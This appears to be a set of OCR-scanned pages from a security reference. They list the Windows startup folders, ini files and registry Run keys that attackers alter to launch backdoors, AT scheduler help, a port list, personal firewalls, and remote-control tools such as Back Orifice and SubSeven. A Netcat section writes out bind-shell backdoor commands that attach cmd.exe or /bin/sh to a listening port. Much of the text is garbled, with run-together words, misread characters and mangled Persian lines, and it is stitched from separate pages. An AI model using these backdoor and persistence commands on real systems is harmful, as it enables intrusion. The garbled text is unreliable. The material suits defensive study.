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Windows Startup Files and Folders

Fileor How File or Folder Can Be Altered to Automatically Activate a
Folder Name Backdoor
Autostart The attacker places the backdoor or alink to it in these folders, which are
Folders activated at startup or while a user logs on to the system. On

Win95/98/Me, a single folder holds this information, located at
C:\Windows\Start Menu\Programs\StartUp.

WinNT/2000/XP/2003 systems include an autostart folder, usually
associated with "All Users," aswell asindividual autostart folders for
individual users, located at the following locations:

WinNT— C:\Winnt\Profiles\[user_name]\Start
Menu\Programs\StartUp

Win2000— C:\Documents and Settings\[user_name]\Start
Menu\Programs\StartUp and (if upgraded from Windows NT) and
C:\Winnt\Profiles\[user_name]\Start Menu\Programs\StartUp
WinXP/2003— C:\Documents and Settings\[user_name]\Start
Menu\Programs\Startup

Win.ini Win.ini contains information about initializing the operating system. This
file can be altered to start a backdoor in two ways. Firgt, it could directly
execute a program referred to in the file, using the text "run=[backdoor]"
or "load=[backdoor]". Second, it could associate some suffix (e.g., ".doc"
or ".htm") with a backdoor program that would run every time afile with
such a suffix is executed by the system. Thisfile location varies, but is



File or
Folder Name

System.ini

Wininit.ini

Winstart.bat

Windows Startup Files and Folders

How File or Folder Can Be Altered to Automatically Activate a
Backdoor

typically located in:

Win95/98/Me— C:\Windows\win.ini
WinNT/2000— C:\Winnt\win.ini
WinXP/2003— C:\Windows\win.ini

Thisfile contains settings for the system's hardware. On Windows 3.X
and Windows 9X, thisfile supported the "shell=" command, which is
used to specify a user shell to launch at system boot time. The shell will
be the main interface program that all users see when they boot the
machine. Attackers often modify the line "shell=explorer.exe" so that,
instead of starting up the Windows Explorer GUI, the system executes a
backdoor while the system boots. The backdoor then, in turn, starts the
actual user's shell, which is usually explorer.exe. On more recent
Windows versions (WinNT/2000/X P/2003), the operating system ignores
the "shell=" syntax in System.ini. Therefore, this method isn't used to
start a backdoor on these newer operating systems. Thisfileisusually
located in the following places:

Win95/98/Me— C:\Windows\System.ini
WinNT/2000— C:\Winnt\System.ini
Windows XP/2003— C:\Windows\System.ini

Thisfileis created by Setup programs when new software isinstalled and
some action is required by the system to complete the installation after
reboot. For example, when you install a new hardware driver, your install
program might make you reboot the system. As the system is rebooting,
Alternatively, thisfile can be used to steal the name of some commonly
used executable and assign it to a backdoor. When it is used, thefileis
usually located in:

WinNT/2000— C:\Winnt\wininit.ini
Windows XP/2003— C:\Windows\Wininit.ini

In older Windows systems (Win 9X), thisfile is normally used to start
old MS-DOS programs in a Windows environment. An attacker could
include aline with the syntax " @[ backdoor]" to run an executable and
hide it from the user. If it is present, it will typically be located in



Windows Startup Files and Folders

Fileor How File or Folder Can Be Altered to Automatically Activate a
Folder Name Backdoor

C:\Winstart.bat.

Autoexec.bat Thisfileisrelevant only on Windows 95/98 systems. It isignored on
Windows Me, NT, 2000, XP, and 2003. For backward compatibility, it
supports launching programs by simply including aline that refers to the
program file, such as " C:\[backdoor]". If it is present, it will typically be
located in C:\Autoexec.bat.

Config.sys Thisfileisrelevant only on Windows 95/98 systems. It isignored on
Windows Me, NT, 2000, XP, and 2003. Thisfile loads low-level MS-
DOS-based drivers, and is not included on some Windows systems. It
could include aline to execute a backdoor. If it is present, thisfileis
usually located in C:\Config.sys.
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Registry Keys That Start Programson Login or Reboot

Registry Key

HKLM\SOFTWARE\Microsoft\Windows
\CurrentV ersion\RunServicesOnce

HKLM\SOFTWARE\Microsoft\Windows
\CurrentV ersion\RunServices

HKLM\SOFTWARE\Microsoft\Windows
\CurrentV ersion\RunOnce

HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\Run

HKLM\SOFTWARE\Microsoft\Windows
\CurrentV ersion\RunOnceEx

HKLM\SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Winlogon\Userinit

HKLM\SOFTWARE\Microsoft\Windows
\CurrentV ersion\Shell ServiceObjectDel ayL oad

Purpose of the Key

Some programs are installed to run in
the background on a Windows
machine as a service, such asthe llS
Web server or file and print sharing
services. Thisregistry key identifies
which services should be started
during the next reboot and the next
reboot only. For al subsequent boots,
the services will not be started.[1]

Thisregistry key containsalist of
servicesto be launched at every
system boot.

Thisregistry key identifies which
programs (not services) should be
started during the next reboot and the
next reboot only. For al subsequent
boots, the programs will not be
executed.

These programs are executed during
system boot.

Only available on Windows 98 and
Me, thisregistry key indicates scripts
and programs that are to be run at
boot time, but shouldn't be started as
separate processes. To improve
efficiency, these programs are not
run as separate processes, but are
instead invoked as separate threads
within various other boot
processes.[2]

This key contains the names of
programs to be executed when any
user logs onto the system. It typically
indicates the user's GUI.[3]

Thisregistry key activates programs
after the Windows GUI starts up,
such as the system tray in the bottom



Registry Keys That Start Programson Login or Reboot

Registry Key

HKLM\SOFTWARE\Policies\Microsoft
\Windows\System\Scripts

HKLM\SOFTWARE\Microsoft\Windows
\CurrentV ersion\Policies\Explorer\Run

HK CU\SOFTWA RE\Microsoft\Windows
\CurrentV ersion\RunServicesOnce

HK CU\SOFTWA RE\Microsoft\Windows
\CurrentV ersion\RunServices

HK CU\SOFTWA RE\Microsoft\Windows
\CurrentV ersion\RunOnce

HK CU\SOFTWA RE\Microsoft\Windows
\CurrentVersion\Run

HK CU\SOFTWA RE\Microsoft\Windows
\CurrentV ersion\RunOnceEx

HK CU\SOFTWARE\Microsoft\Windows
\CurrentV ersion\Policies\Explorer\Run

HK CU\SOFTWARE\Microsoft\Windows NT

\CurrentV ersion\Windows\Run

HK CU\SOFTWARE\Microsoft\Windows NT

\CurrentV ersion\Windows\L oad

HK CU\SOFTWA RE\Policies\Mi crosoft
\Windows\System\Scripts

HK CR\Exefiles\Shel\Open\Command

Purpose of the Key

right-hand corner of Windows and its
contents.

This key identifies various scripts
that will be executed when Windows
boots up.

The programs identified by this
registry key are started when the user
GUI (explorer.exe) is activated.

Thisregistry key identifies which
services should be started the next
time a user logs on, one time only.
For all subsequent logons, the
programs will not be executed.

These services are started every time
auser logs onto the system.

These programs are activated once
when a user logs onto the system.

These programs are run every time a
user logs onto the machine.

These programs are executed without
starting another system process.

These programs are run each time a
user logs onto the system.

These programs are run each time a
user logs onto the system.

These programs are run each time a
user logs onto the system.

These scripts are activated every time
auser logs onto the machine.

This key indicates programs that will
be run any time another EXE fileis
executed, a very frequent occurrence
on a Windows machine, to be sure!
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¢ Command Prompk

C:“\Documents and Settings“fAchilles>at ~7?

The AT command schedules commands and programs to run on a computer at
a specified time and date. The Schedule szervice must he running to use
the AT command.

AT [“~computernamel [ [id]l [~DELETE]l | ~DELETE [-YE511]
AT [““~computernamel time [AINTERACTIVE]
[ /EVERY:datel....]1 | /NEXT:datel....1] “command"

SSCcomputername Specifies a remote computer. Commands are scheduled on the
local computer if this parameter is omitted.
Is an identification number assigned to a scheduled
command .
Cancels a scheduled command. If id is omitted. all the
scheduled commands on the computer are canceled.
Used with cancel all jobs command when no further
confirmation is desired.
Specifies the time when command is to run.
Sinteractive Allows the job to interact with the desktop of the usep
who is logged on at the time the joh runs.
severy:datel,...]1 Runs the command on each specified day{(s>» of the week or
@nnth. Ifddate is omitted, the current day of the month
is assumed.

snext:datel....] Runs the specified command on the next occurrence of the
day (for example, next Thursday). If date iz omitted,. the
current day of the month is assumed.

"command" Is the Windows WT command, or batch program to be run.
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Using Netcat 4 Backdoors Purpose

In Wnd0oz

nc [options] target_system name [renpte_port]
C\> nc -I —p [port_nunber] —-e cnd. exe

C.\> nc —-vvv [victimaddress] [port_ nunber]
In *NI X

$ nc -I —p [port_nunber] -e /bin/sh

$ nc [victimaddress] [port_nunber]
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Well Known Ports

Service Port Comments

TCP Ports

echo 7/tcp

discard 9/tcp sink null

systat 11/tcp users

daytime 13/tcp

netstat 15/tcp

gotd 17/tcp guote

chargen 19/tcp ttytst source
ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp mail

time 37/tcp timserver

name 42/tcp nameserver

whois 43/tcp nicname
nameserver 53/tcp domain

apts 57/tcp any private terminal service
apfs 59/tcp any private file service

rjie T7/tcp netrjs

finger 79/tcp

http 80/tcp

link 87/tcp ttylink

supdup 95/tcp

newacct 100/tcp [unauthorized use]
hostnames  101/tcp hostname

iso-tsap 102/tcp tsap

x400 103/tcp

x400-snd 104/tcp

csnet-ns 105/tcp CSNET Name Service
pop-2 109/tcp Post Office Protocol version 2
pop-3 110/tcp Post Office Protocol version 3
sunrpc 111/tcp

auth 113/tcp authentication

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp usenet readnews untp

ntp 123/tcp network time protocol

statsrv 133/tcp



profile 136/tcp

NeWsS 144/tcp news

print-srv 170/tcp

https 443/tcp Secure HTTP

exec 512/tcp remote process execution;

authentication performed using
passwords and UNIX loppgin names
login 513/tcp remote login a la telnet;
automatic authentication performed
based on priviledged port numbers
and distributed data bases which
identify "authentication domains"

cmd 514/tcp like exec, but automatic
authentication is performed as for
login server

printer 515/tcp spooler

efs 520/tcp extended file name server

tempo 526/tcp newdate

courier 530/tcp rpc

conference 531/tcp chat

netnews 532/tcp readnews

uucp 540/tcp uucpd

klogin 543/tcp

kshell 544/tcp kremd

dsf 555/tcp

remotefs 556/tcp rfs server

chshell 562/tcp chemd

meter 570/tcp demon

pcserver 600/tcp Sun IPC server

ngs 607/tcp ngs

mdgs 666/tcp

rfile 750/tcp

pump 751/tcp

grh 752/tcp

rrh 753/tcp

tell 754/tcp send

nlogin 758/tcp

con 759/tcp

ns 760/tcp

rxe 761/tcp

quotad 762/tcp

cycleserv 763/tcp

omserv 764/tcp

webster 765/tcp

phonebook 767/tcp phone

vid 769/tcp

rtip 771/tcp

cycleserv2 772/tcp

submit 773/tcp

rpasswd 774/tcp

entomb 775/tcp

wpages 776/tcp

wpgs 780/tcp

mdbs 800/tcp

device 801/tcp

maitrd 997/tcp

busboy 998/tcp

garcon 999/tcp

49151-1024 oa_i v Sd W) diws 12
65535-49152 s> U Suwolus Sl wyg) aiws:3

o 05 laiwl Ja 9> 9 LJ9| S auws s O)9) )i)_b )'| asS Jwd (suld Shell axdl
gais s o3leiwl 1 aiws, S0 5l iy 09> ws (g AiuS



ouxod 9 IDS g Firewalls il S o)l U cusoles> o awogi Guyips 51 sy
v B 3l oy Guizoed 9 WVlbo Slasi jw o il L Lol sw W Port Blocker

95 x5 3> piS s Sy L Jlgnl il pe 0920 cp> 5l o ol Sloows
piS o (9,20 oo @ | puSio oslaiwl Loz o393 aS | 15l

Per sonal
Firewall

Web Site

Claim to Fame

Zone Alarm www.zonelabs.com Thistool controls both incoming and outgoing
traffic by assigning specific applications to certain
ports. It's available on acommercia basis, or free
for noncommercial, nonprofit use (excluding
educational and government organizations ... the
vendor employees have to feed their families

somehow, | suppose).

EZDnEAIarm Pro

Overview

Firewall

Program
Control

Antivirus
Monitoring

E-mail
Protection

Privacy

ID Lock

Alerts & Logs

1M
OUT TRERERERNND

Overview
Welcomel

You're protected by
Zoneslarm Prol

Mo further setup is
necessary — Fonedlarm
Pro wvill alert you if you
need to make any
adjustments.

See how Zonedlarm Pro
iz protecting you by
viewving the security
statistics to the right.

Status

Blocked Intrusions
22419 Intrugionz have been blocked zince install
5 of thoze have been high-rated

Inbound Protection

g The firewall has blocked 2249 access
‘“—J attempts

Outbound Protection
v:’i’lg 34 program(z] zecured for Internet access

: E-mail Protection
IIu Mail5 afe iz on
] 0 zuzpect e-mail attackments quarantined

[l Antivirus Monitoring
&% monitoning iz on

Product Info

=10l x|

© Help

Preferences

Tutorial

Click here.

An update is
available!

Click Here

What's New
at
Zone Labs

I~Learn Mare
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. Personal Firewallsfor Windows Systems

Per sonal Web Site Claim to Fame
Firewall

www.kaspersky.com Kaspersky Anti-Hacker isa personal firewall that is
designed to safeguard a computer running a

K asper sky Windows operating system. It protects the computer

Anti- against unauthorized access to its data and external

Hacker hacker attacks from the Internet or an adjacent local
network.

Kaspersky Anti-Hacker:

Monitors the TCP/IP network activity of all
applications running on your machine. If it
detects any suspicious actions, the program
notifies you and if re-quired, blocks the
suspect application from accessing the
network. This allows you to preserve
confidential data on your machine. For
example, if a Trojan triesto transmit any
data from your computer, Kaspersky Anti-
Hacker will block this malware from
accessing the Internet.

The SmartStealth™ technique makes it
difficult to detect your computer from
outside. As aresult, hackers will lose the
target and all their attempts to access your
computer will be doomed to fail. Besides,
this allows for prevention of the DoS (Denial
of Service) attack of al types. At the same
time you will not feel any negative influence
of this mode while working on the Web: the
program provides conventional transparency
and accessibility of the data.

Blocks the most common hacker network
attacks by permanently filtering the
incoming and outgoing traffic, and also
notifies the user about any such attacks.
Monitors for attempts to scan your ports
(these attempts are usually followed by
attacks), and prohibits any further
communication with the attacking machine.
Allowsyou to review the list of all
established connections, open ports, and
active network applications, and if required,


http://www.kaspersky.com

Per sonal Web Site Claim to Fame
Firewall

lets you terminate unwanted connections.
Allows you to secure your machine from
hacker attacks without special configuration
of program settings. The program allows
simplified management by choosing one of
five security levels: Block all, High,
Medium, Low, Allow all. By default the
program starts with the Medium level, which
isatraining mode that will automatically
configure your security system depending on
your responses to various events.

Allows flexibility of security system
configuration. In particular, you can set the
program to filter network operationsinto
wanted and unwanted, and you can configure
the Intrusion Detection System.

Allows you to log certain security-related
network events to various special-purpose
logs. If required, you can define the detail
level of the log en-tries.

3 Kaspersky Anti-Hacker

Service  View  Help

B BETS N
K KASPERSKY"ANTI-HACKER

SEOURAITY

Current security level

....... Block all [ | want ta be natified about netwark, achivib
af the applications o that | can configure
....... High the zecurity spstem for optimal performance.
[recommended for beginners]
tedium & |
Liow ‘
Mlowal - | [ Stealth mode

Dear uzer, Thank you for choozing Kazpersky Anti-Hacker
D product will zecure the data and the rezources of your computer while

pou browse the Intemet. KAs!’ZR*KYﬂ

Ready
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ICMP Definition

Internet Control Message Protocol (ICMP)

Data sent to a remote computer often travels through one or more routers; these routers can encounter a number of
problemsin sending the message to its ultimate destination. Routers use Internet Control Message Protocol (ICMP)
messages to notify the source | P of these problems. ICMP is also used for other diagnosis and troubleshooting
functions.

The most common ICMP messages are listed here. Quite afew other conditions generate |CMP messages but their
frequency of occurrenceis quite low.

Echo Request and Echo Repl y— ICMP s often used during testing. When atechnician usesthe pi ng
command to check connectivity with another host, heisusing ICMP. pi ng sends adatagram to an IP
address and requests the destination computer to return the data sent in aresponse datagram. The commands
actually being used arethe ICMP Echo Request and Echo Reply.

Sour ce Quench— If afast computer is sending large amounts of datato a remote computer, the volume
can overwhelm the router. The router might use ICMP to send aSour ce  Quench message to the source |IP
to ask it to low down the rate at which it is shipping data. If necessary, additional source quenches can be
sent to the source IP.

Desti nati on Unreachabl e— If arouter receives a datagram that cannot be delivered, ICMP returns a
Desti nati on Unreachabl e message to the source |P. One reason that a router cannot deliver a
message is a network that is down because of equipment failure or maintenance.

Ti me Exceeded— ICMP sends this message to the source IP if a datagram is discarded because TTL
reaches zero. Thisindicates that the destination is too many router hops away to reach with the current TTL
value, or it indicates router table problems that cause the datagram to |oop through the same routers
continuougly.
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Remote GUI Toolsfrom Commercial Companiesand
the Computer Underground

T ool

Virtual
Network
Computing
(VNC)

Windows
Terminal
Services

Remote
Desktop
Service

Citrix
MetaFrame

PCAnywhere

Group
That
Released
the Tool

AT&T

L aboratori
es
Cambridge

Microsoft

Microsoft

Citrix
Systems,
Inc.

Symantec
Corporatio
n

Operating System
Supported

Windows of all
types
(Win95/98/Me/NT/2
000/X P/2003/CE),
Various UNIX
flavors, including
Linux, Solaris,
Macintosh, DEC
Alpha Java client
(which will work on
any systemwith a
JavaVirtual
Machine)

Windows

Windows XP and
2003, aswell asa
separate client for
older Windows
versions

Windows

Windows

Web Site

www.uk.research.at
t.com/vnc/

WWW.Mmicrosoft.com
/windows2000/tech
nologies/terminal/de

fault.asp
WWW.microsoft.com
/WindowsXP/pro/us

ing/howto/gomobile
[remotedesktop/defa

ult.asp
wWww.citrix.com/

WWW.Symantec.com
/pcanywhere/

Claim to Fame

Thisfree, open source
ns on many kinds of

ng systems, and isa
e of many system

strators for remote access.
ers also frequently abuse it
mote control backdoor.

Thistool is Microsoft's
flagship product for
remote access of a server's
GUI.

This product is a stripped-
down version of Windows
Termina Services built
into newer versions of
Windows.

One of thefirst
enterprisewide remote
access tools, Citrix has
gained quite afollowing
in corporate
environments.

One of the very first tools
in this category,
PCAnywhere has built
significant market share
and remains one of the


http://www.uk.research.at
http://www.microsoft.com
http://www.microsoft.com
http://www.citrix.com/
http://www.symantec.com

Remote GUI Toolsfrom Commercial Companiesand
the Computer Underground

T ool

Dameware

GoToMyPC

Back Orifice

2000

SubSeven

War Driving Tools For Script Kiddies

Attack Tool kit @ www.computec.ch

Group
That
Released
the Tool

DameWar
e
Developm
ent, LLC

Expertcity,
Inc.

Cult of the
Dead Cow
(cDc)
computer
undergrou
nd group

Mobman,
programm
erinthe
computer
undergrou
nd

Operating System
Supported

Windows

Windows

Windows

Windows

Web Site

www.dameware.co
m/

www.gotomypc.co
m

www.bo2k.com

http://packetstormse
curity.org/trojans

Claim to Fame

easiest toolsto use.

This commercial tool is
used for remote system
administration. A
stripped-down free
version offersavery
small but full-featured
free remote control client
and server.

Thistool allowsfor
remote GUI access across
the Internet from any
system in the world using
only a browser.

Released by the hacker
group Cult of the Dead
Cow, thistool is
remarkably feature rich.
Although it's been around
along time.

Thisis one of the most
popular backdoor suites
of all time.

J 2595 ,5 9, wswl> Ugings> Jgd @y g A4S oslaiwl 0055w Blasl wp> Sl il 5l Lala)


http://www.dameware.co
http://www.gotomypc.co
http://www.bo2k.com
http://www.computec.ch

Attack Tool Kit 2.1 About |
About I Froject Team |E Merchandising

ATK

Attack Tool Kit

Go and get vour ATK shirt online!

f

|
You will find more informations about
the Attack Tool Kit (ATK) on the

project web site
httpe AAwww computec.chi/projekte/ath,

7 Attack Tool Kit 2.1 - www.microsoft.com O] =|

File Scan Configuration Plugins  Analvsis Reporting  Tools  Help

00 e 0w e e

Skark Stop Zonfig Edit Reload Delete VWisualize |Response| Logs

| There waz no vulnerability tested yet. Please wn the zelected plugin to verify the existence of the flaw. |

— Pluging [200 loaded] — Plugin Overview

Flugin 1D 18 =
Flugin name: Cisco port tep/7161 carriage return
Dienial of Service
Pratocal: top
""" Part: 7161
Severity Severity: High
..... i Advizon:
Affected: Cizco routers
Mot affected:
Yulnerability clazs: Denial O Service
Messusz 1D E=plait URL:
..... SecuntyFocus BID hittp: At securnitbpfocus, comdbid/ 705 exploit/

------- 0svDE 1D

Description: According to D CSCAiF4333 it is possible
to crazh a Cisco device connecting to part topd 7161
and zending a carnage return,

Fezponze: LI

Reading plugin 18 [Cizco tep-7161 Denial of Service. plugin)... 100 %
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